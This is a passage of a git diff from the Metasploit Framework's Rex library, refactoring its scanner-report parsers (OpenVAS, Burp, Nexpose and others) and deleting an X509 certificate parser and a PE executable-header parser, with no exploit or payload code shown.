buf - end - - def self.putUnicodeString(buf) - buf = buf.unpack('C*').pack('v*') - if (buf.length < 0x40) - buf << "\x00" * (0x40 - buf.length) - end - buf - end - - - def self.name_is_valid(name) - return nil if (name.length > 31) - (0..0x1f).to_a.each { |x| - return nil if (name.include?(x.chr)) - } - return true - end - -end - -end -end diff --git a/lib/rex/parser/acunetix_nokogiri.rb b/lib/rex/parser/acunetix_nokogiri.rb index 7f16833f46..a873974823 100644 --- a/lib/rex/parser/acunetix_nokogiri.rb +++ b/lib/rex/parser/acunetix_nokogiri.rb @@ -333,9 +333,9 @@ module Rex return unless (host && port && scheme) address = resolve_address(host) return unless address - service_info = [ @args[:wspace], address, "tcp", port ] - service_object = db.get_service(*service_info) - service_object = db_report(:service,service_info) unless service_object + # If we didn't create the service, we don't care about the site + service_object = db.get_service @args[:wspace], address, "tcp", port + return unless service_object web_site_info = { :workspace => @args[:wspace], :service => service_object, diff --git a/lib/rex/parser/appscan_nokogiri.rb b/lib/rex/parser/appscan_nokogiri.rb index 438eb9cb6a..fa9641e2af 100644 --- a/lib/rex/parser/appscan_nokogiri.rb +++ b/lib/rex/parser/appscan_nokogiri.rb @@ -195,7 +195,7 @@ module Rex res_header = Rex::Proto::Http::Packet::Header.new req_header.from_s request_headers.lstrip res_header.from_s response_headers.lstrip - if response_body.blank? + if response_body.to_s.empty? response_body = '' end @state[:request_headers] = req_header diff --git a/lib/rex/parser/burp_issue_nokogiri.rb b/lib/rex/parser/burp_issue_nokogiri.rb index c14ec9c869..45f23007cd 100644 --- a/lib/rex/parser/burp_issue_nokogiri.rb +++ b/lib/rex/parser/burp_issue_nokogiri.rb @@ -88,7 +88,7 @@ module Rex def report_web_host_info return unless @state[:host] address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil - host_info = {:workspace => @args[:wspace]} + host_info = {workspace: @args[:wspace]} host_info[:address] = address host_info[:name] = @state[:host] db_report(:host, host_info) @@ -99,7 +99,7 @@ module Rex return unless @state[:port] return unless @state[:proto] return unless @state[:service_name] - service_info = {} + service_info = {workspace: @args[:wspace]} service_info[:host] = @state[:host] service_info[:port] = @state[:port] service_info[:proto] = @state[:proto] @@ -111,8 +111,7 @@ module Rex return unless @state[:service_object] return unless @state[:vuln_name] return unless @state[:issue_detail] - return unless @state[:refs] - vuln_info = {} + vuln_info = {workspace: @args[:wspace]} vuln_info[:service_id] = @state[:service_object].id vuln_info[:host] = @state[:host] vuln_info[:name] = @state[:vuln_name] diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb index 9508f521c8..2992a0bf77 100644 --- a/lib/rex/parser/fs/bitlocker.rb +++ b/lib/rex/parser/fs/bitlocker.rb @@ -1,10 +1,13 @@ # -*- coding: binary -*- + +require 'openssl/ccm' +require 'metasm' + ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'openssl/ccm' -require 'metasm' + module Rex module Parser ### @@ -112,7 +115,7 @@ module Rex # Parse the metadata_entries and return a hashmap using the # following format: - # {metadata_entry_type => {metadata_value_type => [fve_entry,...]}} + # metadata_entry_type => metadata_value_type => [fve_entry,...] def fve_entries(metadata_entries) offset_entry = 0 entry_size = metadata_entries[0, 2].unpack('v')[0] @@ -215,7 +218,7 @@ module Rex end # Produce a hash map using the following format: - # {PROTECTION_TYPE => [fve_entry, fve_entry...]} + # PROTECTION_TYPE => [fve_entry, fve_entry...] def vmk_entries res = {} (@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk| diff --git a/lib/rex/parser/fusionvm_nokogiri.rb b/lib/rex/parser/fusionvm_nokogiri.rb index 8af80d5747..a328a895bb 100644 --- a/lib/rex/parser/fusionvm_nokogiri.rb +++ b/lib/rex/parser/fusionvm_nokogiri.rb @@ -59,7 +59,7 @@ module Parser unless in_tag("JobOrder") case name when "OS" - unless @host.nil? or @text.blank? + unless @host.nil? or @text.to_s.strip.empty? tnote = { :type => "host.os.fusionvm_fingerprint", :data => { :os => @text.strip }, @@ -86,7 +86,7 @@ module Parser when "CVE" @vuln[:refs] << "CVE-#{@text.strip}" when "References" - unless @text.blank? + unless @text.to_s.strip.empty? @text.split(' ').each do |ref| next unless ref.start_with? "http" if ref =~ /MS\d{2}-\d{3}/ diff --git a/lib/rex/parser/group_policy_preferences.rb b/lib/rex/parser/group_policy_preferences.rb index 3e97450b28..76a817968c 100644 --- a/lib/rex/parser/group_policy_preferences.rb +++ b/lib/rex/parser/group_policy_preferences.rb @@ -88,7 +88,7 @@ class GPP def self.create_tables(results, filetype, domain=nil, dc=nil) tables = [] results.each do |result| - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Group Policy Credential Info', 'Indent' => 1, 'SortIndex' => -1, diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 8dffe5ac1b..8d7f8f1bc4 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -165,7 +165,12 @@ protected # Is it a VAR=VAL? elsif (md = line.match(/^(.+?)=(.*)$/)) if (active_group) - self[active_group][md[1]] = md[2] + var, val = md[1], md[2] + + # don't clobber datastore nils with "" + unless val.empty? + self[active_group][var] = val + end end end } diff --git a/lib/rex/parser/nexpose_raw_nokogiri.rb b/lib/rex/parser/nexpose_raw_nokogiri.rb index 3d5ec218b1..78a681dba8 100644 --- a/lib/rex/parser/nexpose_raw_nokogiri.rb +++ b/lib/rex/parser/nexpose_raw_nokogiri.rb @@ -193,6 +193,13 @@ module Rex vuln_instances = @report_data[:vuln][:matches].size db.emit(:vuln, [refs.last,vuln_instances], &block) if block + # TODO: potential remove the size limit on this field, might require + # some additional UX + if @report_data[:vuln]['title'].length > 255 + db.emit :warning, 'Vulnerability name longer than 255 characters, truncating.', &block if block + @report_data[:vuln]['title'] = @report_data[:vuln]['title'][0..254] + end + vuln_ids = @report_data[:vuln][:matches].map{ |v| v[0] } vdet_ids = @report_data[:vuln][:matches].map{ |v| v[1] } diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index 07fd3c6b82..decc133609 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -4,7 +4,7 @@ require "rex/parser/nokogiri_doc_mixin" module Rex module Parser - # If Nokogiri is available, define OpenVAS document class. + # If Nokogiri is available, define OpenVas document class. load_nokogiri && class OpenVASDocument < Nokogiri::XML::SAX::Document include NokogiriDocMixin @@ -37,8 +37,10 @@ module Parser @state[:vuln_name] = @text.strip if @text end when 'description' - @state[:has_text] = true - @state[:vuln_desc] = @text.strip if @text + if in_tag('result') + @state[:has_text] = true + @state[:vuln_desc] = @text.strip if @text + end when 'bid' if in_tag('result') && in_tag('nvt') @state[:has_text] = true @@ -62,7 +64,7 @@ module Parser when 'subnet' @state[:has_text] = true when 'result' - record_vuln if in_tag('results') + record_vuln when 'threat' @state[:has_text] = true if in_tag('ports') && in_tag('port') when 'host' @@ -132,6 +134,7 @@ module Parser vuln_info[:info] = @state[:vuln_desc] vuln_info[:port] = @state[:port] vuln_info[:proto] = @state[:proto] + vuln_info[:workspace] = @args[:wspace] db_report(:vuln, vuln_info) end @@ -145,6 +148,7 @@ module Parser vuln_info[:info] = @state[:vuln_desc] vuln_info[:port] = @state[:port] vuln_info[:proto] = @state[:proto] + vuln_info[:workspace] = @args[:wspace] db_report(:vuln, vuln_info) end @@ -157,11 +161,13 @@ module Parser service_info[:name] = @state[:name] service_info[:port] = @state[:port] service_info[:proto] = @state[:proto] + service_info[:workspace] = @args[:wspace] db_report(:service, service_info) host_info = {} host_info[:host] = @state[:host] + host_info[:workspace] = @args[:wspace] db_report(:host, host_info) end diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index b925dfbee6..61936a7e67 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -146,7 +146,7 @@ class Unattend def self.create_table(results) return nil if results.nil? or results.empty? - table = Rex::Ui::Text::Table.new({ + table = Rex::Text::Table.new({ 'Header' => 'Unattend Credentials', 'Indent' => 1, 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb deleted file mode 100644 index 61a0a4b179..0000000000 --- a/lib/rex/parser/x509_certificate.rb +++ /dev/null @@ -1,92 +0,0 @@ -# -*- coding: binary -*- - -require 'openssl' - -module Rex -module Parser - -### -# -# This class parses the contents of a PEM-encoded X509 certificate file containing -# a private key, a public key, and any appended glue certificates. -# -### -class X509Certificate - - # - # Parse a certificate in unified PEM format that contains a private key and - # one or more certificates. The first certificate is the primary, while any - # additional certificates are treated as intermediary certificates. This emulates - # the behavior of web servers like nginx. - # - # @param [String] ssl_cert - # @return [String, String, Array] - def self.parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] - end - - # - # Parse a certificate in unified PEM format from a file - # - # @param [String] ssl_cert_file - # @return [String, String, Array] - def self.parse_pem_file(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - parse_pem(data) - end - - # - # Parse a certificate in unified PEM format and retrieve - # the SHA1 hash. - # - # @param [String] ssl_cert - # @return [String] - def self.get_cert_hash(ssl_cert) - hcert = parse_pem(ssl_cert) - - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate" - end - - Rex::Text.sha1_raw(hcert[1].to_der) - end - - # - # Parse a file that contains a certificate in unified PEM - # format and retrieve the SHA1 hash. - # - # @param [String] ssl_cert_file - # @return [String] - def self.get_cert_file_hash(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - get_cert_hash(data) - end - -end - -end -end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index f28ef71662..28452b6385 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -2,7 +2,7 @@ require 'msf/core/payload/uuid' require 'msf/core/payload/windows' require 'msf/core/reflective_dll_loader' -require 'rex/parser/x509_certificate' +require 'rex/socket/x509_certificate' class Rex::Payloads::Meterpreter::Config diff --git a/lib/rex/peparsey.rb b/lib/rex/peparsey.rb deleted file mode 100644 index 139f6a1638..0000000000 --- a/lib/rex/peparsey.rb +++ /dev/null @@ -1,10 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module PeParsey - -end -end - -require 'rex/peparsey/pe' -require 'rex/peparsey/pe_memdump' diff --git a/lib/rex/peparsey/exceptions.rb b/lib/rex/peparsey/exceptions.rb deleted file mode 100644 index c2725614fc..0000000000 --- a/lib/rex/peparsey/exceptions.rb +++ /dev/null @@ -1,30 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module PeParsey - -class PeError < ::RuntimeError -end - -class ParseError < PeError -end - -class DosHeaderError < ParseError -end - -class FileHeaderError < ParseError -end - -class OptionalHeaderError < ParseError -end - -class BoundsError < PeError -end - -class PeParseyError < PeError -end - -class SkipError < PeError -end - -end end diff --git a/lib/rex/peparsey/pe.rb b/lib/rex/peparsey/pe.rb deleted file mode 100644 index 2ba37fc305..0000000000 --- a/lib/rex/peparsey/pe.rb +++ /dev/null @@ -1,210 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/image_source' -require 'rex/peparsey/exceptions' -require 'rex/peparsey/pebase' -require 'rex/peparsey/section' -require 'rex/struct2' - -module Rex -module PeParsey -class Pe < PeBase - - def initialize(isource) - - # - # DOS Header - # - # Parse the initial dos header, starting at the file beginning - # - offset = 0 - dos_header = self.class._parse_dos_header(isource.read(offset, IMAGE_DOS_HEADER_SIZE)) - - # - # File Header - # - # If there is going to be a PE, the dos header tells us where to find it - # So now we try to parse the file (pe) header - # - offset += dos_header.e_lfanew - - # most likely an invalid e_lfanew... - if offset > isource.size - raise FileHeaderError, "e_lfanew looks invalid", caller - end - - file_header = self.class._parse_file_header(isource.read(offset, IMAGE_FILE_HEADER_SIZE)) - - # - # Optional Header - # - # After the file header, we find the optional header. Right now - # we require a optional header. Despite it's name, all binaries - # that we are interested in should have one. We need this - # header for a lot of stuff, so we die without it... - # - offset += IMAGE_FILE_HEADER_SIZE - optional_header = self.class._parse_optional_header( - isource.read(offset, file_header.SizeOfOptionalHeader) - ) - - if !optional_header - raise OptionalHeaderError, "No optional header!", caller - end - - base = optional_header.ImageBase - - # - # Section Headers - # - # After the optional header should be the section headers. - # We know how many there should be from the file header... - # - offset += file_header.SizeOfOptionalHeader - - num_sections = file_header.NumberOfSections - section_headers = self.class._parse_section_headers( - isource.read(offset, IMAGE_SIZEOF_SECTION_HEADER * num_sections) - ) - - # - # End of Headers - # - # After the section headers (which are padded to FileAlignment) - # we should find the section data, described by the section - # headers... - # - # So this is the end of our header data, lets store this - # in an image source for possible access later... - # - offset += IMAGE_SIZEOF_SECTION_HEADER * num_sections - offset = self.class._align_offset(offset, optional_header.FileAlignment) - - header_section = Section.new(isource.subsource(0, offset), 0, nil) - - # - # Sections - # - # So from here on out should be section data, and then any - # trailing data (like authenticode and stuff I think) - # - - sections = [ ] - - section_headers.each do |section_header| - - rva = section_header.VirtualAddress - size = section_header.SizeOfRawData - file_offset = section_header.PointerToRawData - - sections << Section.new( - isource.subsource(file_offset, size), - rva, - section_header - ) - end - - - - # - # Save the stuffs! - # - # We have parsed enough to load the file up here, now we just - # save off all of the structures and data... We will - # save our fake header section, the real sections, etc. - # - - # - # These should not be accessed directly - # - - self._isource = isource - - self._dos_header = dos_header - self._file_header = file_header - self._optional_header = optional_header - self._section_headers = section_headers - - self.image_base = base - self.sections = sections - self.header_section = header_section - - self._config_header = _parse_config_header() - self._tls_header = _parse_tls_header() - - # These can be accessed directly - self.hdr = HeaderAccessor.new - self.hdr.dos = self._dos_header - self.hdr.file = self._file_header - self.hdr.opt = self._optional_header - self.hdr.sections = self._section_headers - self.hdr.config = self._config_header - self.hdr.tls = self._tls_header - self.hdr.exceptions = self._exception_header - - # We load the exception directory last as it relies on hdr.file to be created above. - self._exception_header = _load_exception_directory() - end - - # - # Return everything that's going to be mapped in the process - # and accessable. This should include all of the sections - # and our "fake" section for the header data... - # - def all_sections - [ header_section ] + sections - end - - # - # Returns true if this binary is for a 64-bit architecture. - # - def ptr_64? - [ - IMAGE_FILE_MACHINE_IA64, - IMAGE_FILE_MACHINE_ALPHA64, - IMAGE_FILE_MACHINE_AMD64 - ].include?(self._file_header.Machine) - end - - # - # Returns true if this binary is for a 32-bit architecture. - # This check does not take into account 16-bit binaries at the moment. - # - def ptr_32? - ptr_64? == false - end - - # - # Converts a virtual address to a string representation based on the - # underlying architecture. - # - def ptr_s(va) - (ptr_32?) ? ("0x%.8x" % va) : ("0x%.16x" % va) - end - - # - # Converts a file offset into a virtual address - # - def file_offset_to_va(offset) - image_base + file_offset_to_rva(offset) - end - - # - # Read raw bytes from the specified offset in the underlying file - # - # NOTE: You should pass raw file offsets into this, not offsets from - # the beginning of the section. If you need to read from within a - # section, add section.file_offset prior to passing the offset in. - # - def read(offset, len) - _isource.read(offset, len) - end - - def size - _isource.size - end - def length - _isource.size - end - -end end end diff --git a/lib/rex/peparsey/pe_memdump.rb b/lib/rex/peparsey/pe_memdump.rb deleted file mode 100644 index f719b877a7..0000000000 --- a/lib/rex/peparsey/pe_memdump.rb +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/image_source' -require 'rex/peparsey/exceptions' -require 'rex/peparsey/pebase' -require 'rex/peparsey/section' -require 'rex/struct2' - -# -# This class is for use with memdump.exe generated dump images. It basically -# just lies, gets the ImageBase from the file name, and generates 1 big -# header_section with all of the data in it... -# - -module Rex -module PeParsey -class PeMemDump < Pe - - def self.new_from_string(data) - raise NotImplementError - end - - def self.new_from_file(filename, disk_backed = false) - - if filename[-4, 4] != '.rng' - raise "Not a .rng file: #{filename}" - end - - if filename[-9, 9] == "index.rng" - raise SkipError - end - - file = File.open(filename, 'rb') - - if disk_backed - obj = ImageSource::Disk.new(file) - else - obj = ImageSource::Memory.new(file.read) - obj.close - end - - return self.new(obj, filename.gsub(/.*[\/\\]/, '')[0,8].hex) - end - - def initialize(isource, base) - self._isource = isource - self.header_section = Section.new(isource, base, nil) - self.sections = [ self.header_section ] - self.image_base = 0 - end - - def all_sections - self.sections - end - - # No 64-bit support - def ptr_64? - false - end - -end end end diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb deleted file mode 100644 index 6dc7668207..0000000000 --- a/lib/rex/peparsey/pebase.rb +++ /dev/null @@ -1,1662 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/peparsey/exceptions' -require 'rex/struct2' - -module Rex -module PeParsey -class PeBase - - - # #define IMAGE_DOS_SIGNATURE 0x5A4D // MZ - IMAGE_DOS_SIGNATURE = 0x5a4d - - IMAGE_DOS_HEADER_SIZE = 64 - # Struct - # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header - # WORD e_magic; // Magic number - # WORD e_cblp; // Bytes on last page of file - # WORD e_cp; // Pages in file - # WORD e_crlc; // Relocations - # WORD e_cparhdr; // Size of header in paragraphs - # WORD e_minalloc; // Minimum extra paragraphs needed - # WORD e_maxalloc; // Maximum extra paragraphs needed - # WORD e_ss; // Initial (relative) SS value - # WORD e_sp; // Initial SP value - # WORD e_csum; // Checksum - # WORD e_ip; // Initial IP value - # WORD e_cs; // Initial (relative) CS value - # WORD e_lfarlc; // File address of relocation table - # WORD e_ovno; // Overlay number - # WORD e_res[4]; // Reserved words - # WORD e_oemid; // OEM identifier (for e_oeminfo) - # WORD e_oeminfo; // OEM information; e_oemid specific - # WORD e_res2[10]; // Reserved words - # LONG e_lfanew; // File address of new exe header - # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; - IMAGE_DOS_HEADER = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'e_magic', IMAGE_DOS_SIGNATURE ], - [ 'uint16v', 'e_cblp', 0 ], - [ 'uint16v', 'e_cp', 0 ], - [ 'uint16v', 'e_crlc', 0 ], - [ 'uint16v', 'e_cparhdr', 0 ], - [ 'uint16v', 'e_minalloc', 0 ], - [ 'uint16v', 'e_maxalloc', 0 ], - [ 'uint16v', 'e_ss', 0 ], - [ 'uint16v', 'e_sp', 0 ], - [ 'uint16v', 'e_csum', 0 ], - [ 'uint16v', 'e_ip', 0 ], - [ 'uint16v', 'e_cs', 0 ], - [ 'uint16v', 'e_lfarlc', 0 ], - [ 'uint16v', 'e_ovno', 0 ], - [ 'template', 'e_res', Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'e_res_0', 0 ], - [ 'uint16v', 'e_res_1', 0 ], - [ 'uint16v', 'e_res_2', 0 ], - [ 'uint16v', 'e_res_3', 0 ] - )], - [ 'uint16v', 'e_oemid', 0 ], - [ 'uint16v', 'e_oeminfo', 0 ], - [ 'template', 'e_res2', Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'e_res2_0', 0 ], - [ 'uint16v', 'e_res2_1', 0 ], - [ 'uint16v', 'e_res2_2', 0 ], - [ 'uint16v', 'e_res2_3', 0 ], - [ 'uint16v', 'e_res2_4', 0 ], - [ 'uint16v', 'e_res2_5', 0 ], - [ 'uint16v', 'e_res2_6', 0 ], - [ 'uint16v', 'e_res2_7', 0 ], - [ 'uint16v', 'e_res2_8', 0 ], - [ 'uint16v', 'e_res2_9', 0 ] - )], - [ 'uint32v', 'e_lfanew', 0 ] - ) - - - class HeaderAccessor - attr_accessor :dos, :file, :opt, :sections, :config, :exceptions, :tls - def initialize - end - end - - class GenericStruct - attr_accessor :struct - def initialize(_struct) - self.struct = _struct - end - - # The following methods are just pass-throughs for struct - - # Access a value - def v - struct.v - end - - # Access a value by array - def [](*args) - struct[*args] - end - - # Obtain an array of all fields - def keys - struct.keys - end - - def method_missing(meth, *args) - v[meth.to_s] || (raise NoMethodError.new, meth) - end - end - - class GenericHeader < GenericStruct - end - - class DosHeader < GenericHeader - - def initialize(rawdata) - dos_header = IMAGE_DOS_HEADER.make_struct - - if !dos_header.from_s(rawdata) - raise DosHeaderError, "Couldn't parse IMAGE_DOS_HEADER", caller - end - - if dos_header.v['e_magic'] != IMAGE_DOS_SIGNATURE - raise DosHeaderError, "Couldn't find DOS e_magic", caller - end - - self.struct = dos_header - end - - def e_lfanew - v['e_lfanew'] - end - end - - - def self._parse_dos_header(rawdata) - return DosHeader.new(rawdata) - end - - # #define IMAGE_NT_SIGNATURE 0x00004550 // PE00 - IMAGE_NT_SIGNATURE = 0x00004550 - # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. - IMAGE_FILE_MACHINE_I386 = 0x014c - # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 - IMAGE_FILE_MACHINE_IA64 = 0x0200 - # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 - IMAGE_FILE_MACHINE_ALPHA64 = 0x0284 - # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) - IMAGE_FILE_MACHINE_AMD64 = 0x8664 - # #define IMAGE_SIZEOF_FILE_HEADER 20 - IMAGE_FILE_HEADER_SIZE = 20+4 # because we include the signature - - # C struct defining the PE file header - # typedef struct _IMAGE_FILE_HEADER { - # WORD Machine; - # WORD NumberOfSections; - # DWORD TimeDateStamp; - # DWORD PointerToSymbolTable; - # DWORD NumberOfSymbols; - # WORD SizeOfOptionalHeader; - # WORD Characteristics; - # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; - IMAGE_FILE_HEADER = Rex::Struct2::CStructTemplate.new( - # not really in the header, but easier for us this way - [ 'uint32v', 'NtSignature', 0 ], - [ 'uint16v', 'Machine', 0 ], - [ 'uint16v', 'NumberOfSections', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint32v', 'PointerToSymbolTable', 0 ], - [ 'uint32v', 'NumberOfSymbols', 0 ], - [ 'uint16v', 'SizeOfOptionalHeader', 0 ], - [ 'uint16v', 'Characteristics', 0 ] - ) - - SUPPORTED_MACHINES = [ - IMAGE_FILE_MACHINE_I386, - IMAGE_FILE_MACHINE_IA64, - IMAGE_FILE_MACHINE_ALPHA64, - IMAGE_FILE_MACHINE_AMD64 - ] - - class FileHeader < GenericHeader - def initialize(rawdata) - file_header = IMAGE_FILE_HEADER.make_struct - - if !file_header.from_s(rawdata) - raise FileHeaderError, "Couldn't parse IMAGE_FILE_HEADER", caller - end - - if file_header.v['NtSignature'] != IMAGE_NT_SIGNATURE - raise FileHeaderError, "Couldn't find the PE magic!" - end - - if SUPPORTED_MACHINES.include?(file_header.v['Machine']) == false - raise FileHeaderError, "Unsupported machine type: #{file_header.v['Machine']}", caller - end - - self.struct = file_header - end - - def Machine - v['Machine'] - end - - def SizeOfOptionalHeader - v['SizeOfOptionalHeader'] - end - - def NumberOfSections - v['NumberOfSections'] - end - end - - def self._parse_file_header(rawdata) - return FileHeader.new(rawdata) - end - - IMAGE_ORDINAL_FLAG32 = 0x80000000 - IMAGE_IMPORT_DESCRIPTOR_SIZE = 20 - # Struct - # typedef struct _IMAGE_IMPORT_DESCRIPTOR { - # union { - # DWORD Characteristics; // 0 for terminating null import descriptor - # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) - # }; - # DWORD TimeDateStamp; // 0 if not bound, - # // -1 if bound, and real date\time stamp - # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) - # // O.W. date/time stamp of DLL bound to (Old BIND) - # - # DWORD ForwarderChain; // -1 if no forwarders - # DWORD Name; - # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) - # } IMAGE_IMPORT_DESCRIPTOR; - IMAGE_IMPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'OriginalFirstThunk', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint32v', 'ForwarderChain', 0 ], - [ 'uint32v', 'Name', 0 ], - [ 'uint32v', 'FirstThunk', 0 ] - ) - - # typedef struct _IMAGE_IMPORT_BY_NAME { - # WORD Hint; - # BYTE Name[1]; - # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; - # - - class ImportDescriptor - attr_accessor :name, :entries - def initialize(_name, _entries) - self.name = _name - self.entries = _entries - end - end - - class ImportEntry - attr_accessor :name, :ordinal - def initialize(_name, _ordinal) - self.name = _name - self.ordinal = _ordinal - end - end - - # sizeof(struct _IMAGE_EXPORT_DESCRIPTOR) - IMAGE_EXPORT_DESCRIPTOR_SIZE = 40 - # Struct defining the export table - # typedef struct _IMAGE_EXPORT_DIRECTORY { - # DWORD Characteristics; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD Name; - # DWORD Base; - # DWORD NumberOfFunctions; - # DWORD NumberOfNames; - # DWORD AddressOfFunctions; // RVA from base of image - # DWORD AddressOfNames; // RVA from base of image - # DWORD AddressOfNameOrdinals; // RVA from base of image - # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; - IMAGE_EXPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'Characteristics', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint16v', 'MajorVersion', 0 ], - [ 'uint16v', 'MinorVersion', 0 ], - [ 'uint32v', 'Name', 0 ], - [ 'uint32v', 'Base', 0 ], - [ 'uint32v', 'NumberOfFunctions', 0 ], - [ 'uint32v', 'NumberOfNames', 0 ], - [ 'uint32v', 'AddressOfFunctions', 0 ], - [ 'uint32v', 'AddressOfNames', 0 ], - [ 'uint32v', 'AddressOfNameOrdinals', 0 ] - ) - - class ExportDirectory - attr_accessor :name, :entries, :base - - def initialize(_name, _entries, _base) - self.name = _name - self.entries = _entries - self.base = _base - end - end - - class ExportEntry - attr_accessor :name, :ordinal, :rva - def initialize(_name, _ordinal, _rva) - self.name = _name - self.ordinal = _ordinal - self.rva = _rva - end - end - - IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 - IMAGE_DATA_DIRECTORY_SIZE = 8 - IMAGE_DIRECTORY_ENTRY_EXPORT = 0 - IMAGE_DIRECTORY_ENTRY_IMPORT = 1 - IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 - IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 - IMAGE_DIRECTORY_ENTRY_SECURITY = 4 - IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 - IMAGE_DIRECTORY_ENTRY_DEBUG = 6 - IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7 - IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 - IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 - IMAGE_DIRECTORY_ENTRY_TLS = 9 - IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 - IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 - IMAGE_DIRECTORY_ENTRY_IAT = 12 - IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 - IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 - # Struct - # typedef struct _IMAGE_DATA_DIRECTORY { - # DWORD VirtualAddress; - # DWORD Size; - # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; - IMAGE_DATA_DIRECTORY = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'VirtualAddress', 0 ], - [ 'uint32v', 'Size', 0 ] - ) - - # Struct - # typedef struct _IMAGE_OPTIONAL_HEADER { - # // - # // Standard fields. - # // - # - # WORD Magic; - # BYTE MajorLinkerVersion; - # BYTE MinorLinkerVersion; - # DWORD SizeOfCode; - # DWORD SizeOfInitializedData; - # DWORD SizeOfUninitializedData; - # DWORD AddressOfEntryPoint; - # DWORD BaseOfCode; - # DWORD BaseOfData; - # - # // - # // NT additional fields. - # // - # - # DWORD ImageBase; - # DWORD SectionAlignment; - # DWORD FileAlignment; - # WORD MajorOperatingSystemVersion; - # WORD MinorOperatingSystemVersion; - # WORD MajorImageVersion; - # WORD MinorImageVersion; - # WORD MajorSubsystemVersion; - # WORD MinorSubsystemVersion; - # DWORD Win32VersionValue; - # DWORD SizeOfImage; - # DWORD SizeOfHeaders; - # DWORD CheckSum; - # WORD Subsystem; - # WORD DllCharacteristics; - # DWORD SizeOfStackReserve; - # DWORD SizeOfStackCommit; - # DWORD SizeOfHeapReserve; - # DWORD SizeOfHeapCommit; - # DWORD LoaderFlags; - # DWORD NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; - # - # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b - # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 - # - - IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b - IMAGE_SIZEOF_NT_OPTIONAL32_HEADER = 224 - IMAGE_OPTIONAL_HEADER32 = Rex::Struct2::CStructTemplate.new( - [ 